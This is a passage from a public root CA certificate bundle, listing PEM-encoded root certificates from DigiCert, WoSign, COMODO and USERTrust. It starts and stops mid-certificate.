VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7 5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX 0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2 PpxxVJkES/1Y+Zj0 -----END CERTIFICATE----- DigiCert Assured ID Root G2 =========================== -----BEGIN CERTIFICATE----- MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH 35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv 0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo IhNzbM8m9Yop5w== -----END CERTIFICATE----- DigiCert Assured ID Root G3 =========================== -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy 1vUhZscv6pZjamVFkpUBtA== -----END CERTIFICATE----- DigiCert Global Root G2 ======================= -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO 3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu 5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/ iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- DigiCert Global Root G3 ======================= -----BEGIN CERTIFICATE----- MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y 3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34 VOKa5Vt8sycX -----END CERTIFICATE----- DigiCert Trusted Root G4 ======================== -----BEGIN CERTIFICATE----- MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6 MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7 f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8 oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy 7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN 5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb /UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa 5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP 82Z+ -----END CERTIFICATE----- WoSign ====== -----BEGIN CERTIFICATE----- MIIFdjCCA16gAwIBAgIQXmjWEXGUY1BWAGjzPsnFkTANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxKjAoBgNVBAMTIUNlcnRpZmljYXRpb24g QXV0aG9yaXR5IG9mIFdvU2lnbjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMFUxCzAJ BgNVBAYTAkNOMRowGAYDVQQKExFXb1NpZ24gQ0EgTGltaXRlZDEqMCgGA1UEAxMhQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgb2YgV29TaWduMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA vcqNrLiRFVaXe2tcesLea9mhsMMQI/qnobLMMfo+2aYpbxY94Gv4uEBf2zmoAHqLoE1UfcIiePyO CbiohdfMlZdLdNiefvAA5A6JrkkoRBoQmTIPJYhTpA2zDxIIFgsDcSccf+Hb0v1naMQFXQoOXXDX 2JegvFNBmpGN9J42Znp+VsGQX+axaCA2pIwkLCxHC1l2ZjC1vt7tj/id07sBMOby8w7gLJKA84X5 KIq0VC6a7fd2/BVoFutKbOsuEo/Uz/4Mx1wdC34FMr5esAkqQtXJTpCzWQ27en7N1QhatH/YHGkR +ScPewavVIMYe+HdVHpRaG53/Ma/UkpmRqGyZxq7o093oL5d//xWC0Nyd5DKnvnyOfUNqfTq1+ez EC8wQjchzDBwyYaYD8xYTYO7feUapTeNtqwylwA6Y3EkHp43xP901DfA4v6IRmAR3Qg/UDaruHqk lWJqbrDKaiFaafPz+x1wOZXzp26mgYmhiMU7ccqjUu6Du/2gd/Tkb+dC221KmYo0SLwX3OSACCK2 8jHAPwQ+658geda4BmRkAjHXqc1S+4RFaQkAKtxVi8QGRkvASh0JWzko/amrzgD5LkhLJuYwTKVY yrREgk/nkR4zw7CT/xH8gdLKH3Ep3XZPkiWvHYG3Dy+MwwbMLyejSuQOmbp8HkUff6oZRZb9/D0C AwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFOFmzw7R 8bNLtwYgFP6HEtX2/vs+MA0GCSqGSIb3DQEBBQUAA4ICAQCoy3JAsnbBfnv8rWTjMnvMPLZdRtP1 LOJwXcgu2AZ9mNELIaCJWSQBnfmvCX0KI4I01fx8cpm5o9dU9OpScA7F9dY74ToJMuYhOZO9sxXq T2r09Ys/L3yNWC7F4TmgPsc9SnOeQHrAK2GpZ8nzJLmzbVUsWh2eJXLOC62qx1ViC777Y7NhRCOj y+EaDveaBk3e1CNOIZZbOVtXHS9dCF4Jef98l7VNg64N1uajeeAz0JmWAjCnPv/So0M/BVoG6kQC 2nz4SNAzqfkHx5Xh9T71XXG68pWpdIhhWeO/yloTunK0jF02h+mmxTwTv97QRCbut+wucPrXnbes 5cVAWubXbHssw1abR80LzvobtCHXt2a49CUwi1wNuepnsvRtrtWhnk/Yn+knArAdBtaP4/tIEp9/ EaEQPkxROpaw0RPxx9gmrjrKkcRpnd8BKWRRb2jaFOwIQZeQjdCygPLPwj2/kWjFgGcexGATVdVh mVd8upUPYUk6ynW8yQqTP2cOEvIo4jEbwFcW3wh8GcF+Dx+FHgo2fFt+J7x6v+Db9NpSvd4MVHAx kUOVyLzwPt0JfjBkUO1/AaQzZ01oT74V77D2AhGiGxMlOtzCWfHjXEa7ZywCRuoeSKbmW9m1vFGi kpbbqsY3Iqb+zCB0oy2pLmvLwIIRIbWTee5Ehr7XHuQe+w== -----END CERTIFICATE----- WoSign China ============ -----BEGIN CERTIFICATE----- MIIFWDCCA0CgAwIBAgIQUHBrzdgT/BtOOzNy0hFIjTANBgkqhkiG9w0BAQsFADBGMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxGzAZBgNVBAMMEkNBIOayg+mAmuagueiv geS5pjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMEYxCzAJBgNVBAYTAkNOMRowGAYD VQQKExFXb1NpZ24gQ0EgTGltaXRlZDEbMBkGA1UEAwwSQ0Eg5rKD6YCa5qC56K+B5LmmMIICIjAN BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0EkhHiX8h8EqwqzbdoYGTufQdDTc7WU1/FDWiD+k 8H/rD195L4mx/bxjWDeTmzj4t1up+thxx7S8gJeNbEvxUNUqKaqoGXqW5pWOdO2XCld19AXbbQs5 uQF/qvbW2mzmBeCkTVL829B0txGMe41P/4eDrv8FAxNXUDf+jJZSEExfv5RxadmWPgxDT74wwJ85 dE8GRV2j1lY5aAfMh09Qd5Nx2UQIsYo06Yms25tO4dnkUkWMLhQfkWsZHWgpLFbE4h4TV2TwYeO5 Ed+w4VegG63XX9Gv2ystP9Bojg/qnw+LNVgbExz03jWhCl3W6t8Sb8D7aQdGctyB9gQjF+BNdeFy b7Ao65vh4YOhn0pdr8yb+gIgthhid5E7o9Vlrdx8kHccREGkSovrlXLp9glk3Kgtn3R46MGiCWOc 76DbT52VqyBPt7D3h1ymoOQ3OMdc4zUPLK2jgKLsLl3Az+2LBcLmc272idX10kaO6m1jGx6KyX2m +Jzr5dVjhU1zZmkR/sgO9MHHZklTfuQZa/HpelmjbX7FF+Ynxu8b22/8DU0GAbQOXDBGVWCvOGU6 yke6rCzMRh+yRpY/8+0mBe53oWprfi1tWFxK1I5nuPHa1UaKJ/kR8slC/k7e3x9cxKSGhxYzoacX GKUN5AXlK8IrC6KVkLn9YDxOiT7nnO4fuwECAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFOBNv9ybQV0T6GTwp+kVpOGBwboxMA0GCSqGSIb3DQEBCwUA A4ICAQBqinA4WbbaixjIvirTthnVZil6Xc1bL3McJk6jfW+rtylNpumlEYOnOXOvEESS5iVdT2H6 yAa+Tkvv/vMx/sZ8cApBWNromUuWyXi8mHwCKe0JgOYKOoICKuLJL8hWGSbueBwj/feTZU7n85iY r83d2Z5AiDEoOqsuC7CsDCT6eiaY8xJhEPRdF/d+4niXVOKM6Cm6jBAyvd0zaziGfjk9DgNyp115 j0WKWa5bIW4xRtVZjc8VX90xJc/bYNaBRHIpAlf2ltTW/+op2znFuCyKGo3Oy+dCMYYFaA6eFN0A kLppRQjbbpCBhqcqBT/mhDn4t/lXX0ykeVoQDF7Va/81XwVRHmyjdanPUIPTfPRm94KNPQx96N97 qA4bLJyuQHCH2u2nFoJavjVsIE4iYdm8UXrNemHcSxH5/mc0zy4EZmFcV5cjjPOGG0jfKq+nwf/Y jj4Du9gqsPoUJbJRa4ZDhS4HIxaAjUz7tGM7zMN07RujHv41D198HRaG9Q7DlfEvr10lO1Hm13ZB ONFLAzkopR6RctR9q5czxNM+4Gm2KHmgCY0c0f9BckgG/Jou5yD5m6Leie2uPAmvylezkolwQOQv T8Jwg0DXJCxr5wkf09XHwQj02w47HAcLQxGEIYbpgNR12KvxAmLBsX5VYc8T1yaw15zLKYs4SgsO kI26oQ== -----END CERTIFICATE----- COMODO RSA Certification Authority ================================== -----BEGIN CERTIFICATE----- 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 LaZRfyHBNVOFBkpdn627G190 -----END CERTIFICATE----- USERTrust RSA Certification Authority ===================================== -----BEGIN CERTIFICATE----- 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 Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9 -----END CERTIFICATE----- USERTrust ECC Certification Authority ===================================== -----BEGIN CERTIFICATE----- MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC 